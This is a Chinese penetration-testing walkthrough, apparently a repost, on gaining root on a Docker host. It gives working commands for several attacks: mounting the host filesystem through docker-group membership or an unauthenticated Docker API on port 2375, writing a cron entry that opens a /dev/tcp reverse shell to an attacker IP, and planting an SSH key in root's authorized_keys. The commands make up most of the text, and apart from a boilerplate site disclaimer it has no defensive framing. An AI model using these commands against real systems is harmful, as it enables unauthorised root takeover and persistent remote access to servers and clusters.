标签:实战 mnt cron 漏洞 xx ssh Docker root
1.1. Docker判断
cat /proc/1/cgroup
ls -alh /.dockerenv
1.2. Docker反弹shell
条件:
获取到宿主机普通用户权限
当前用户已加入docker用户组
a) 写入计划任务获取root权限
进入容器:
docker run -it -v /:/mnt alpine
echo '* * * * * /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8088 0>&1 2>&1' >> /mnt/var/spool/cron/root
注:此语句适用于centos系统
系统任务调度文件:/etc/crontab
用户 XXX 调度文件:
ubuntu下路径
/var/spool/cron/crontabs/xxx
Alpine下路径
/etc/cron.d/xxx
debian下的路径(xxx可以是任意东西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是写这个路径的时候,文件内不能加用户名
攻击机监听:
a) 写入ssh密钥获取root权限
攻击机
ssh-keygen -b 4096 -t rsa
三次回车即可生成
Docker容器里:
挂载宿主机根目录进入容器
docker run -it -v /:/mnt alpine
echo '生成的.pub文件的内容' >/mnt/root/.ssh/authorized_keys
攻击机连接:
ssh -i /home/pentest/.ssh/id_rsa root@xx.xx.xx.xx
1.3. Docker配置不当
Docker api未授权访问
docker -H tcp://10.1.1.71:2375 images
挂载目录写入计划任务获取root权限,如下图:
远程挂载命令:docker -H tcp://10.1.1.71:2375 run -it -v /:/mnt alpine
攻击机监听:
熟悉的node,成功获取k8s集群的一台节点服务器权限。
标签:实战,mnt,cron,漏洞,xx,ssh,Docker,root 来源: https://www.cnblogs.com/peterpan0707007/p/15246853.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。